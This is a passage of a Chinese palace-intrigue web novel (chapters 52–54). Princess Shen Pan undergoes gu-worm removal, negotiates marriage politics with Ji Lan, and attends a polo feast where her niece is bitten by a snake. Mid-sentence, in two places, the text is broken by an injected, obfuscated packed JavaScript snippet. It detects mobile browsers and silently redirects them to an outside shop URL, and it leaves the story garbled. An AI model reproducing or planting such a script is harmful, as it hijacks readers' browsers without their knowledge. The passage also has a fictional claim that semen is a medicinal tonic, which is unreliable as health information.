沈斫顺从地又是一饮而尽。 崖然接过碗,替他说道:“你只是不忍心看着你姐姐因为在意自己没法生育,然后将金玉良缘拒之门外。” 沈斫深深叹气:“老神医洞察我心。” 可崖然却大笑起来:“真是刚结出来的瓜儿没炸过瓤,太年轻了。” 他掸掸绑起来的袖子在沈斫身边坐下,“你自己觉得长平公主在乎她不能生育这件事吗?” “她向来心口不一,很多事情她不能说出来……” 崖然笑着摇头:“如果因为不能生育他们之间就会有各种各样的矛盾,或许是家族子息的期望,抑或是外面的风言风语难以忍受,更或者男方心中抱憾要偷鸡摸狗,那就恰恰说明他不是你姐姐的正缘。” 沈斫皱眉。 “你别拿什么世道人心辩解,真有那些想法的男人,你敢将你姐姐托付给他吗?他能真心爱护你姐姐吗?再有,老道与公主没聊过几句,但就从你告诉我的还有老道自己听说的,老道觉得长平公主心里真正牵绊的,从来不是自己能不能生育、能不能找到一个如意郎君。” 他咂咂嘴,“公主的志向远得很,倒是燕王殿下你,别总拿你自己的想法来揣测她,你们虽然是至亲,但终究是不同的,你要去支持她,做她的底气,你的思想也要快点进步啊。” 52. 第五十二章 难诉情(六) 大火烧了一整夜。 沈磐抱着沈仪璩兄妹,一直等到了旭日东升的时刻。 她睡不着,听着怀里他们的呼吸和梦中呓语已然睡不着,直到天快要亮、玥儿不安地开始翻身,她这才迷迷糊糊地有些困倦。 不过两刻,玥儿刚要从她怀里钻出来,沈磐就醒了。 “嗯?你哥哥呢?” 玥儿指指她身后。 沈磐从床上坐起,扭头隔着屏风就看见张永一端了盆热水,正在给沈仪璩擦脸。 玥儿扑进她怀里,“姑姑再睡会儿吧?” 沈磐揉揉她红扑扑的脸蛋,“不了,还有一堆事,你困的话再睡会儿也没事。” 说着,她下床套了衣裳裹了斗篷这才走出屏风,“火灭了?” “嗯,刚灭的,嵇侯想请公主前去商讨。” 玥儿也扎好披风跑了出来,“张大人!我自己来。” 正好元亨也端着盆进来,他不禁夸道:“郡主真厉害。” 得了褒奖,玥儿的尾巴都要翘到天上去。 沈磐摸摸她睡得乱糟糟的头发,“玥儿,你和哥哥洗漱好了就去吃饭,吃完饭姑姑就回来了。” “好。” 沈磐又拍拍沈仪璩的肩,这才跟着张永一走了出去。 今早的雪更大了,放眼满目晶莹、一片花白。 沈磐戴起风帽,张永一还是撑起了伞。 “沈斫呢?还好吧。” “嗯,已经醒了,被崖然看在屋里。” 沈磐搓搓手,“嵇阀怎么说?” “要看公主的意思。” 沈磐耻笑:“我是什么意思他们就能是什么意思吗?” 她甩甩头,“化隆城里,恐怕连广告八方的邸报都写好了吧?若我敢逆着他们的意思,说这场大火是有人策划,乃至皇孙落水、燕王中药这一桩桩一件件都是他们的阴谋,恐怕我和沈斫也回不了化隆了。” “公主,臣会护你们周全的。” “张永一,护好你自己就行了。” 她上前一步,“长生殿被烧,你说宫里问罪的第一人是谁?” “此地宫监。” “还有你。”沈磐头也不回继续走,“太子的灵柩在此,你们长缨卫玩忽职守酿成大祸,你是新官上任,此地统领长缨卫的副指挥使却没这个好运。以你的脾性,必定要为他求情,一来二去,他死罪可免活罪难逃,至于这活罪嘛,最适合不过在这荒败的紫微宫‘监禁’上一辈子。” 张永一听得出沈磐的用意。 若真如她所说,那么被监禁于此的就不只是一个指挥副使,还有所有的长缨卫乃至他这个指挥。为太子守陵是打发东宫亲卫的最好理由,也是普天之下兵不血刃而最冠冕堂皇的理由。 沈磐不希望他们走到这样山穷水尽的地步。 要回化隆血拼,手上就要有兵,宫里短时间重组十二军卫已经不易,长缨卫编员减半,他才拿到实权的指挥之职,不能断送在这紫微宫里。 但他还记得去年跪在祖母面前向她恳求时他说的那样,每一个将士背后都是一个家。 他不忍。 但沈磐不允拒绝,“鱼游沸鼎,鸟覆危巢,这时局容不得你不忍,舍不得也要舍得。这世上从不缺秘密,当然也不缺告密之人,对旁人留情就是对你自己绝情。不久后宫里就会为沈斫办一次冠礼,届时,我希望还能见到你。” ** “麻沸散,喝了吧。” 沈磐不多问,刚一喝完,就看见崖然从他那堆破铜烂铁里翻出一把匕首来。 崖然见她不新奇,自己忍不住炫耀:“这是从西域藩国淘来的宝贝,天盛年间的宝物,比老道我还要长上几岁,是当年我家国主寻来送给老道的。怎么样,好看吧?这上面的宝石还是这么璀璨。” 他烫着刀刃,笑得见牙不见眼,“老道记得,当年给国主拔毒用的也是这把刀。” 沈磐这才起了兴致:“长公主当年也中了毒中了蛊?” “是啊,我家国主代帝南巡,这一路上真是艰难困苦,中的毒、生的蛊不计其数,可叹我家国主志在天下却英年早逝。”说着,崖然觉得自己的话恐怕让沈磐再生出对自己医术的担忧来,他连忙找补:“不过公主放心,要除去这小小女蛊轻而易举,老道就算是闭着眼睛也不会搞糟。” 沈磐僵着脸笑笑。 您老可睁大眼吧。 “公主,陛下真的没有杀老道的徒侄孙太医吗?” 沈磐低眉:“张永一是怎么把你劝回来的?说孙太医的死只是个意外?” 听这话头,崖然大惊失色。 沈磐笑道:“不是意外。孙太医醉心医术、无心权力,但他身在权力之中,被卷入各种漩涡实在身不由己……” 崖然哭丧起脸,“是啊,我这徒孙就是天生的神医,当年国主把他从岭南的荒山野岭接到化隆,本想让他海阔天空、任凭闯荡……谁能想到,终究还是害了他。他心里记得国主的大恩,用一生去报答,可国主走了,我师父也走了,而我不能见天日,没法帮他,他一个人在那虎穴龙潭之地过得艰难。他是个纯善的,为了以前的过错多少年他不停自责,去佛祖面前求一个赎罪的机会……” 闻言,沈磐轻声问:“孙太医常常会去双塔寺?” “是啊,只要去城外给窦将军换药,他必然要借道去一趟双塔寺。在那里,他为国主点过长明灯,也为旁人点了……” “是霍夫人吗。” 崖然一愣。 沈磐继续道:“我三哥宁王生前曾在太医院的库房中发现过孙太医私藏的草药,其中有一味叫洛阳子规草。” 话落,崖然不禁哭了起来,“是啊,他一辈子都记着这件事呢……他是哑巴,但他曾写给我说,他犯了错,他对不起国主,他也对不起宁王殿下。他从不告诉我是因为什么,怕我惹祸上身,可当时化隆城里最大的事情就是霍夫人的病逝,小小风寒却要了她的命,我还能猜不到吗?” 沈磐沉默。 崖然揩揩泪,“差不多该起效了,公主哪支手方便?” 沈磐伸出左手。 崖然执刀,往沈磐左手手腕轻轻划上一刀,随即又盖了张浸过药液的布上去。 “公主少等。” 布很快就被血洇湿。 “公主拔除了这蛊虫后,身体亏空,要多多进补。” 沈磐点头,盯着那血布目不转睛。不一会儿,那布上的鲜红色很快暗淡下去,竟有些隐隐发黑。 崖然从容道:“再等等。” 他又就着进补的话头聊了下去:“公主要多补气血,一会儿老道会写张详细的调理单子,照单吃药就好了。不过——” “不过什么?神医尽管讲。” 崖然捋捋自己掉得没几根的山羊胡,“不过这种补法都太慢了,老道还有更好更快的进补药可以推荐给公主。” “神医请说。” 崖然笑,刚要开口就见血布深染,他连忙将布揭开,果见布上爬着一只奄奄一息的小黑虫。 沈磐眉头一皱,崖然赶忙将布包起以免再恶心到人,“这就是那蛊虫了,老道这就把它烧了,往后它便不能再害人了。” “有劳神医。” 崖然摇摇头:“欸,这是我该做的。” 他点了烛台烧了虫子,这才给沈磐包扎手腕。 “您方才所说的进补之药究竟是什么?” 见他一幅讳莫如深的样子,沈磐追问:“多少钱也无妨,神医不用担心这个。” “倒不是钱不钱的问题。”崖然嘿嘿笑道。 “神医直说吧。” 崖然点点头,看沈磐一幅孺子可教的模样,估摸着火候也够,便要大言不惭地开口,忽然听见有人扣门,是团圆禀报:“公主,嵇公子来了。” 沈磐抬手止住崖然的话头,“神医稍候,我去去就来。” 她起身走了没两步,还是对崖然说道:“神医,这进补之药您直接告知团圆就好,让她尽快去准备。” 说完,沈磐推门而出。 崖然连喊她都来不及,眼见着团圆走了进来,他不禁泄气,心里嘀咕:看你自己造化了。 团圆眨眨眼。 ** “怎么样?有消息了?” 见沈磐来了,嵇阑茶也来不及喝连忙道:“二月中旬,陛下会亲自给燕王加冠,同时分封兖王,就藩的日子应该定在三月春闱过后。” “三月?”沈磐极其不满,“一来一去路上也要个把月吧?在兖地呆上不过数日又要回京过年。还有春闱,呵,谁看不出他的心思?陈王素有才名,让陈王大才子和新科进士们打个火热,那就算是就藩兖地,也妨碍不了京城里他的母舅帮他经营这些关系。” 见她火气上头,嵇阑赶忙劝道:“这已经是内阁和陛下难得能达成的约定了,陈王三月走,那燕王殿下也是三月走,你们姐弟还能多呆一些时日,这样想想也不全是坏事。” 沈磐的脸色还是很难看,“加冠之后就是纳妃,陛下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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的确如他所说,不论是皇太孙还是燕王,沈磐都能安卧,一个是亲弟弟,一个是亲外甥,且她对他们都有深情大恩。 但皇位只有一个。 什么都要只会一无所有。 而嵇阑的意思很明显,他不过是留恋赌场的一个老手罢了,他有他对时局的分析,显然并不满意沈磐将所有的注都下在皇太孙身上。他自诩要比沈磐更会衡量货物的价值。 沈磐的视线已经化为一柄利剑。 她好像已经知道了嵇阑心里的谋算,嵇阑也任凭她的窥探。 “叩叩叩——” 门响三声,嵇阑只能坐回。 沈磐阖眼,愤懑问:“何事?” 仆人通传道:“燕王殿下和张指挥使来了。” 沈磐揉揉太阳穴,“让他们进来。” 嵇阑斟茶浅尝,即刻抬头给面色不虞的两人送上一张笑脸,“见过燕王殿下,张指挥使。” 沈磐也装起松快,“来了?”她起身拉过沈斫,“正好聊到你的事情。” “我的事情?” “陛下要给你加冠,成人之后当然要成家。” 沈斫回头看了一眼沉默不言的张永一。 嵇阑笑道:“公主一直不知道殿下的心思,所以一直举棋不定。” “我没有这个心思。” 沈磐将他按到座位上,又朝张永一一让、叫他也落座,“你没有这个心思,可别人有。” 嵇阑圆场:“没有也好。” 沈磐扯一下唇角:“的确,没有非谁不可,我也不用棒打鸳鸯。” “哈哈哈——”嵇阑连忙尬笑,索性这气氛尚可,不至于过分冰冻。 沈磐自己也坐了下来,“你自己也上点心,毕竟是你的终身大事。” 沈斫低着头。 沈磐看向张永一,“劳烦张指挥使也帮忙留意。” 张永一只能应下。 “依我看,燕王殿下不妨多去与齐将军走动。” 沈斫眼里满是指责,若是这种指责也能化为实物,恐怕早把嵇阑剥皮抽筋下油锅炸了吃。 沈磐连忙道:“说的有理,齐天觉是奉命办事,他只认皇帝这一个道理,旁人说他左右下注、骑墙观望,这未必是件坏事,若能赢得他的支持,面对在军中别有威望的霍辄时,我们的胜算要更大几分。” “既然齐将军不愿偏帮,我们也无需在他身上多花力气,且就算花了力气也不一定能成功……” 嵇阑朝张永一笑道:“张指挥使所言极是,但只要有一丝希望,还是要试一试的。” 张永一本要顺势问,“既如此,嵇公子有何见解”,但他看见了沈磐包着纱布的手,微一失神,这就错过了开口的时机,只能听沈磐提示道:“快到饭点了。” 嵇阑起身朝沈磐一拜,“那臣就先回去了。” “我送你。” 沈斫和张永一本要跟着一块儿送的,但沈磐走得很急很快,一转眼就跟着嵇阑走出了老远。 53. 第五十三章 难诉情(七) “不论你在想什么,都不许轻举妄动!” 嵇阑低下头笑道:“公主且放心,我没这个胆。” 他为沈磐别开斜斜伸入游廊的一枚枯枝,“不过有件事臣要早点说,我叔叔恐怕不会再帮忙了。” 沈磐的心一沉,“他要去西北,远水解不了近渴,他也帮不上。” 嵇阑摇头:“从前他会允许我和我爹对着干,是因为他不放心霍家的那些杂碎,而我爹一心只有霍辄对他的提拔之恩,他怕我爹昏了头搅合进去。但现在霍轶之流全被清扫干净,陛下还十足地支持霍辄与陈王,我叔也就没理由反对了;况且他也有了爵位,从前我们还是一家,总有连坐之忧,现在他远避西北又有爵位保命——” 他磨着喉咙低声叹:“只有我一个人了。” 沈磐深吸一口气,“我们的婚事为何没有动静了?” “现在两边势同水火,陛下肯定不会答应的,所以他就用这个指挥使的位子打发我,而我爹说,紫微宫走水一案里他救火立了功,陛下许他一个承诺——” 沈磐猛地抬头,“承诺?” “对,外人不知道,而我爹明日就要向宫里递请封世子的奏疏,等我的世子位下来,他就要用这个承诺向陛下请求赐婚。” 沈磐倏尔按住他笼在袖子里的手。这本该是一个极其旖旎暧昧的姿态,可嵇阑一低头就看见,沈磐乌黑的眼眸里汹涌的杀意便顺着她的话爬了上来,她冷冷道:“让我猜猜,是齐天觉的女儿。” 嵇阑错开目光,“不错,公主十分机敏。” 沈磐撒手,若有所思,“所以——沈斫不是要与齐天觉接触,而是一定要抢先一步娶到他的女儿。” 听着她的话,嵇阑莫名汗毛倒竖,他镇定下来专心附和:“不错,礼部那里可以拦一拦,但有陛下在上面盯着、我爹在下面催,只怕拖不了几日。” 沈磐一步一声道:“现在是国丧期,就算是逼婚,也不能这么着急,不然堵不住天下人悠悠之口,还会让齐天觉面上无光……” 嵇阑粗略一算,“帝王崩服丧二十七日,官员百姓百日不准作乐,四十九天不准屠宰,更有一个月禁止嫁娶,这么算,到二月初就拖不了了。” “二月初……” “这样,公主帮臣做一件事,剩下的臣来安排。” “你说。” 嵇阑将声音压得更低:“不管是什么理由,公主要在二月初办一场宴,遍邀京中名门。” 沈磐的眉头皱得更厉害了,“草长莺飞二月天,京郊马场的草才发新芽,应当可以办一场马球会,只是主办之人恐怕不能是我……让我想想,那些公侯高官只怕也不敢办,或许只能去请临川郡主。” “她老人家马上就要离京了,经历了化隆这场动乱,恐怕她有生之年都不会再回来,陛下又敬重她,经此一遭后更加爱惜颜面,以此为借口的确可行,只是临川郡主那里……” 沈磐摆手:“我在她那里说不上话,但自有说得动的人,等得了准信我就通知你。” 嵇阑叉手一礼,“有劳。” 沈磐回身盯住他:“你知道的,我的底线是什么。” 嵇阑应下。 等送走了嵇阑,沈磐刚要叫团圆来去给沈碧送信,让沈碧出面说服临川郡主,结果团圆自己来了,她便在嘱咐完过后顺势问:“崖然神医说的进补之药你尽快备齐……” “公主……” 见她一脸为难的样子,沈磐不禁奇怪:“怎么了?这药究竟有什么古怪你们一个个遮遮掩掩?” 团圆附耳略说。 旋即,不仅团圆的脸红透了,连沈磐的眉毛都翘得老高。 这个老不正经的!居然说男子阳精就是最好最快的进补之药,而且童男最好! 她刚要这么骂,转念一想,这老神医不像是会开这种玩笑的,且仔细琢磨好像确有其理,便清了清喉咙,“这你就不用管了。” 她们往回走,沈斫和张永一还在屋内等她。 一见到张永一的这张脸,沈磐不又得想起团圆转述的崖然之言,心中不禁冷哼。 这个老头子居然做起了张永一的媒。 ** 通过沈碧让临川郡主松口并不难,很快,京中名门就收到了郡主的请帖,约定二月初三龙抬头过后的那一天,在上林苑举办马球会,且郡主还财大气粗地包下隔壁的曲江杏园供贵女才俊休憩。 永济帝听见这个消息不仅没生气,还降下不少赏赐,更让沈磐带着沈仪璩兄妹两个去捧场,意在为临川郡主脸上添彩。 这样一来,化隆上下遍地高门就没有敢不给临川郡主这个脸面的,人去得极其齐全,全然想不到这是一场流血政变之后的盛筵。 锦旗高扬、笙箫远飞,男宾女客分坐两边,璩儿刚和妹妹猜完拳,欢天喜地地要拉着沈磐往靶场跑,就被临川郡主请人喊了过去。 “璩儿、玥儿来了?快坐到我这里来。” 两个孩子撒手没,沈磐顾不得与满轩的贵人们互相见礼,只来得及朝临川郡主身边的那个美妇颔首,已经怀抱着玥儿、被嘴甜的璩儿夸得笑靥如花的临川郡主就牵上她的手,“你受苦了。” 沈磐连忙笑道:“这天下有谁敢叫我吃苦的呢?” 玥儿应和:“谁敢欺负我姑姑,我和哥哥去给他好看!” “就是就是!” 临川笑笑,让自己的儿媳妇带着皇孙兄妹去靶场玩乐,等孩子们走了,她这才能询问沈磐:“你姐姐还好?” “她家二叔才在延兴门外找到,襄阳侯夫妇又生了重病,家中全都靠她一人撑着,这就不得空也不愿让郡主沾了不吉。” 临川叹道:“她年轻守寡,还有一个儿子要看顾,着实是艰难。” 沈磐以为她会说“可怜”,化隆上下朱门绣户中的贵女们听见昔日风光无量、顺遂幸福的晋国公主的这番遭际,大抵都会说上一句“可怜”,可怜她年轻守寡,可怜她稚子丧父,可怜她门庭凋敝,可怜她真是个顶顶可怜的可怜人。 “你姐姐很多时候口不对心,身边也没几个知心人说话,你是她亲妹妹,知道她的脾性,还要辛苦你多理解她。” 沈磐忽然就笑不出来了。 临川似是不再想说这些灰败的事实,她转而问她身边的美妇:“静潭,你去问问他们准备好了没,这头一场究竟什么时候开?” 问完,临川又拉着沈磐的手轻笑:“我年轻的时候极喜欢在这些游乐场上潇洒,只可惜,我现在上了年纪,也不知道还有几年可活——哎呀,玥儿,你怎么回来了?” 玥儿扑进临川怀里:“临川祖母定会长长长长长久地当老神仙的!玥儿想问姑姑,能不能让玥儿去玩捉迷藏。” 球场上响了锣,人马整顿。 沈磐微一犹疑,临川看得出她的顾虑,便搂着玥儿笑道:“比赛马上就要开始了,玥儿不如陪我看一场?姑祖母以后回了江西,玥儿可就很难见到我了。” 玥儿点点头,眨巴着水灵灵的大眼睛,有些失落,但她一看见沈磐脸上略欣慰略勉强的笑,顿时如同心有所感般攒出了无边的兴致来,她随手指着球场上那一群挥杆试球的少年郎中穿橘的年轻人问:“那是谁?好显眼啊!” 临川笑道:“这是我那不成器的孙子张吉鹊,平平无奇没什么可看的,不过,玥儿看他身边那个——” 玥儿正欢笑于临川郡主当着这么多人的面这样挖苦她的亲孙子,听见这话头就顺着她的手指看去,不禁催促起沈磐:“哇塞!姑姑你快看!好俊朗的大哥哥啊!” 沈磐只能看去,张吉鹊身边那匹黑鬃马上果有一人,看着身形甚伟,但一身冠戴毫不显眼,且他背对着看台坐着,面容神色难以观摩。 临川笑眯眯介绍:“他叫云勉,与你同岁,出生在洛阳东都,他祖父是大名鼎鼎的云家赘婿苏德惜,那时候可是化隆城里数一数二的美男子,又有军功,是不少姑娘的梦中情人。” 见玥儿还雀跃地等待自己的回应,沈磐只能绽开十分的笑容随口应和,正巧此时有人在身后喊着,云勉牵着马缰转身,正方便沈磐迎着光仔细打量他的面孔。 沈磐笑着附和:“的确是个面如冠玉的少年将军。” “啊,那个也好看!”玥儿指着远处朝云勉行马而来的年轻人拍手赞叹。 “这个是正热乎的兵部尚书房桂稻的儿子韦如洋,比你大一岁,原本是放在西北做千户的,去年才回来的,现在就供职于阴阳卫,是个佥事。” “那岂不是和张大人很像?” 沈磐刚要顺口夸一句“的确如琢如磨”,听见玥儿居然拿张永一比起了韦如洋,稍一回味,便将话咽了下去。 “是梁国家的络儿吗?” 一边一直坐着没说话的宋国公 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106840|192089||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主插话点头:“是啊,就是络儿,陆微将军取的字叫永一。”她放眼要去男宾处找张永一,但人来人往,没找到张永一倒找到了别的人,“呀,那是乔将军的儿子乔颐光?他从西北回来了?” 临川赶忙找去,“是啊,现在去了阴阳卫,在江之万手下做事。” 既然是乔晏那素未谋面的儿子,沈磐自然要仔细认识,可她来不及抓住乔颐光的影子,这场上姿容秀异、仪质瑰伟的男子很快就让阅人无数的临川郡主挑花了眼,“那边穿绿的是户部小梅尚书家的公子,穿蓝的是刑部阮侍郎的儿子,你以前应当都是见过的。阮家与你母家有亲,阮侍郎又娶了这大小两位梅尚书的亲妹妹,也就是当年风流一表的梅如故的女儿,他的相貌自然也是化隆城里数一数二的,莘莘跟我说,她那外甥女就曾相中了这阮一清……” 辛翩翩居然喜欢阮一清? 玥儿张大了嘴:“哇塞,翩翩姑姑喜欢阮一清?可我怎么听说他们两个老死不相往来——” 刚在走神的沈磐一个激灵,连忙捂了她的嘴,朝临川等人笑:“闹着玩的,他们两个是青梅竹马、欢喜冤家。” 临川笑笑,不禁又叹息起来:“辛家出了这些事,真是飞来横祸……从前我与莘莘一起玩笑,评点起京中这些尚未婚配的年轻男女她的嘴最是灵验毒辣……” 场上锣鼓再响,临川郡主看球要过嘴瘾,一时间就顾不上伤感往事。沈磐从前挺喜欢这些热闹的,不过现在她心中惦念着嵇阑的策划,根本无心球场,好几次玥儿问她“觉得那个刚刚进球的怎么样”,她次次心不在焉差点被抓包,还好她伪装功夫了得,玥儿只当她也是看美男看花了眼。 往常这马球一开她就觉得不够看,而今只是第一场她就坐立不安。 张吉鹊这队赢了这场,休息时他便扛着球杆策马跑至临川郡主面前讨赏,临川郡主指着他的鼻子骂,一边宋国长公主跟着帮腔,众人都被他逗得开怀。 沈磐趁着此时场上尚且喧闹,人流往来之中颇利于她四处打量,便再度往男宾那排望去,刚好,姗姗来迟的嵇阑正朝她扬眉笑。 不知现在是个什么情况,他居然有脸笑。 沈磐横他一眼,掠过簇拥着嵇阑笑侃的男男女女,开始找一会儿没了影的沈斫和璩儿,然后就在脂粉堆里找到了张永一。 搭弓上箭,命中红心,一连几支箭都没有丝毫偏差,张永一这一番展示惹得身边的姑娘或者少年纷纷叫好。沈斫抱着璩儿也跟着拍手笑,挤着刚要下场的张永一再去露上一手,张永一推辞不过,只能像上刑一样再度上弦。 “瞧什么呢?这么出神。” 沈磐即刻收回视线,可玥儿的眼睛特别尖,一下子就在人群里看见了出类拔萃的张永一,她翘着尾巴拉着临川的手介绍道:“那个那个,那个就是张大人!箭术极好的,临川祖母你快看,是不是特别标志?玥儿没骗你吧?” 临川展颜,“的确不错,玥儿的眼光最准了!梁国可给他说了人家?” 宋国长公主指着那姑娘堆里一抹娇俏颜色道:“喏,那不就是?郭家的姑娘。” 闻言,沈磐仔细找了过去,果然在距离张永一最近的地方找到了郭家的姑娘,她生得窈窕,个子不高,但姿容出众、妆容精致得像二月里头一支开在高标的艳桃花,让人移不开眼。 一旦请教上箭术,那就有得教了,三言两语根本说不尽,何况有时候还要上手指点,“动手动脚”,最适合作为年轻男女相看调情的媒介。 临川的赞叹意更浓:“的确郎才女貌,佳偶天成。” 那头他们不知玩了什么花样,张永一也不知射落了什么小东西,顿时爆出一阵喝彩。 沈磐轻笑。 他沐浴在和煦春风、明丽暖阳里。 沈磐记得第一次见时,他满怀热血千里奔劳,大雪之中裹在夜行衣里风尘仆仆,却像块一尘不染的昆仑玉;今时他站在人群里、苍天下,比之当初已然功成名就,谈笑间浑身落尽了萧萧肃肃的胆色与威严,爽朗清举,可让人远远望着只觉得心里像是有人湿手从琴弦上拂过。 这时,张静潭走了过来,“母亲,宴席已经准备好了,咱们都去杏园吧。” “好啊,你招呼她们,让她们吃好喝好、下午再去给家中待嫁的姑娘相看如意郎君吧。” 沈磐随众人笑了起来,刚好错开张永一投来的视线。 54. 第五十四章 难诉情(八) “燕王殿下,我们敬你。” 场面这么大,沈斫不能推辞,便亲自斟了酒回敬。 张永一才安顿好午后困倦的皇太孙,一回来就看见先前还称呼某某将军、某某佥事格外生疏的沈斫,现在酒酣耳热一口一个“如洋”、一个“颐光”,总算和化隆城的同龄人能热络地聊上两句。 他倍感欣慰。 但才出了国丧就大肆饮酒损伤脾胃,而沈斫又不会拒绝,张永一只能随手捏了个借口,在沈斫耳边冷飕飕道:“公主殿下找。” 沈斫一个激灵,差点连手中的酒杯都没端稳,乔颐光拢着袖子笑道:“燕王殿下是有些醉了。” 张永一顺势接过沈斫的酒杯,“臣扶殿下去醒酒吧。” 韦如洋稍稍一拦,“诶,张指挥使,这酒还在杯中倒了岂不可惜?燕王殿下喝不了,不如你就替燕王殿下喝了吧,我们几个今日正式相见,就用这杯酒结个缘?” 乔颐光一把将他拉下,“今天张指挥使有公务在身,你就别搅合了,改日我们再饮酒相聚?” 张永一应下,刚好此时午宴将尽,那些年轻的文士便簇拥着陈王去题诗,呼朋引伴,特别有排场,乔颐光便朝他们君臣二人捏了个礼,即刻拖着喝上脸有些疯疯癫癫的韦如洋,“走走走,丢什么人。” “我这是英雄惜英雄,惺惺惜惺惺!” “滚滚滚,还星星猩猩呢,等你下午醒了酒,看你还说得出这种话……” 沈斫搭着张永一的肩,不由笑了,“真有趣。” 张永一伸手,“走吧,殿下的酒量一向不好……” “磐磐找我有何事?” “借口而已,不然殿下乐不思蜀,哪里愿意顾惜自己的身子?” 沈斫笑笑,“你啊,就知道唬我,我还以为是磐磐出什么事、玥儿出什么事情、抑或者我要出什么事呢。” 张永一拉他一把,“小心台阶。” “诶,磐磐?” 张永一抬头,果然看见沈磐依着廊柱正听那嵇阑聒噪,她面色不善,尤其是看见沈斫一身酒气、喝得双眼迷离,更是严肃得下一秒就能徒手劈石桌。 “怎么回事?喝成这样?”沈磐看向尚且清醒的张永一,“有人灌酒?” 沈斫笑道:“没有,就是高兴了多喝了几杯,磐磐你也别怪永一,我背着他偷偷喝的。” 沈磐心里冷哼,又问张永一:“璩儿呢?” “皇太孙午后有些困乏,在厢房里午睡,臣命长缨卫在边上守着了。” 沈磐点点头,任凭沈斫走得有些迟钝,“你也好好去醒醒酒,下午好好收拾,跟我去见见齐家姑娘。” 张永一见沈斫耳根一红,而笑盈盈守在一边的嵇阑的脸色有些古怪起来,正此时,团圆慌忙跑来,“公主!小郡主出事了!” 沈磐神色一厉,抓住团圆就往西边女眷赏玩的暖阁走,“怎么了!” “小郡主和伙伴玩捉迷藏,奴婢好好看着呢,绝对不会有任何歹人接近,可谁也没想到,小郡主躲在花房培育的景观梅花里,竟然叫蛇咬了!” ** “玥儿!” 沈磐见沈仪玥还坐在地上,连忙冲了上去,不妨踩到了什么脚下一滑,幸好有人从后面扶了一把,但她顾不得谢就扑到玥儿眼前。 暖阁里的女眷全都吓傻了,倒是玥儿还镇定地坐在地上一动不动,“姑姑当心!” “叫医官!” 沈磐边吼着边去自己的袖子里翻扯出一条素帕,用力扎住玥儿的左手臂,即刻又催她们去取冰。 “医官马上就能到了,公主您先别急……” “啊!” 沈磐听见屋里的女眷又在鬼叫,心情更坏了几分,刚抬头要去训,就看见张永一走了过来,手上捏着一条翡翠珠串似的小蛇,“花房有蛇,花匠那里一定备有千里光、蛇咬子用于解毒,但臣看这应当是翠青蛇,无毒。” 沈磐整个人都像筛糠一样抖,玥儿却看着他手中的蛇惊诧道:“是这条小蛇,张大人这么快就抓到了!” 说着,她活动一下自己的手,被沈磐一爪擒住,“别动!” “姑姑,没有毒的,放心好了。” “医官来了!” 等医官也确定这是无毒之蛇,但还是敷上了草药后,沈磐这才将悬着的心放下。 玥儿抱着她,“姑姑,对不起,让你担心了。” 沈磐摸摸她的头发,嗓子沙哑,一句安慰的话也说不出。 至此,她才重新想起沈斫来。 暖阁里的女眷个个心有余悸,再见沈磐神情仍比金刚威吓,便跟着前来处理事端的张静潭一起前往马球场。沈磐谢过张静潭等,抱着玥儿坐在一角,等人群散去,张永一从屋外走来。 “你怎么跟着来了?沈斫呢,他一个人连路都走不稳。” 玥儿又蹭蹭沈磐的脸,这才朝张永一拜谢。 张永一紧握着的手一拦,松手时,沈磐那块本该扎在玥儿手臂上的那条素帕就出现在他的手心。 “有长缨卫。” 沈磐的视线落了上去。 去年元宵,被辛翩翩抢送到他手中的素帕就是这一方,如今兜来转去,重新落到了他的手上。 沈磐抬手去接,张永一的手指微微蜷起,似是要拉住这一块即将物归原主的素帕,又像是想要留住这一脉又要远去的纪念。 可他不敢。 张永一垂手,沉默地跟着她们这对依然亲亲热热的姑侄往马球场走,拐角处出现了一个长缨卫,他便略落后几步,听属下传递来自另一边的消息。 像是心有所通,沈磐回头,就见张永一听了不过几句,眉间便刀刻斧凿出现了一个川,愁川之水滔滔不绝,转瞬间就把沈磐的心也席卷了。 她牵着玥儿走了回去,“怎么了?” 张永一抬手,那长缨卫便道:“午睡醒来后,皇太孙便想先去马球场,但在路上被猎犬追扑,幸好路过的云勉将军出手相助。” 沈磐呼吸一窒,“皇太孙可有受伤?” 那长缨卫摇头:“轻伤,只是云勉将军旧伤又复发了……” “他现在在哪儿?” “男宾别院。” “带路。” “公主……” “带路!”沈磐神色凝重,“团圆,你把玥儿送到临川郡主那儿。” “姑姑!我要去看哥哥!” “玥儿听话。” 沈磐的脸色极其难看,团圆连忙抱起还想再求情的玥儿。 “杏园里会养猎犬吗?” 那长缨卫也被沈磐的脸色震慑,有问必答:“不养,但听杏园主事说,那几只猎犬是去年阳安伯府的公子寄养于此的,伯府一出事,猎犬就卖给了永诚侯府,现在是无主之犬,但因为品相优良,杏园正打算再度转卖,结果今天没有看住就让猎犬跑了出来。” “没有命令,猎犬会随意咬人吗?” “应该不会……”那长缨卫看向了张永一。 沈磐冷笑,“当然不会,敢随意咬人的畜生早就被打死了,现在化隆城里的这些妖魔鬼怪,哪一个不是背靠大树别有根脚。” 长缨卫不敢说话,只专心给他们引路。 “就是这间。” 沈磐亲自叩门,屋内传来一声“稍等”,一个长缨卫打开了门,沈磐抬脚便走了进去。 “姑姑!” 沈仪璩从屏风后走来,沈磐仔细检查着他身上的小擦拭,并未抬头往屏风内看,这给了云勉整理仪容的时间。 “末将拜见公主——” “云将军不必多礼。” 沈磐虚扶住云勉的手,在云勉起身后自己打着礼跪了下来。 “公主不可——” “多谢云将军!” 云勉不敢直接扶沈磐,一抬头看见张永一也进来了,便朝他求助。 “皇太孙有危,末将不过做了一个臣子应该做的,万万当不起公主这一跪。” 张永一托起沈磐的肘弯,“公主,天气寒凉,云将军还穿着单衣……” 沈磐便只能收起自己脑海里那千万端的思量考虑,垂眸站起,不去看云勉中衣上的血迹,“将军先治伤,今日过后本宫会携皇太孙亲自登门道谢。” 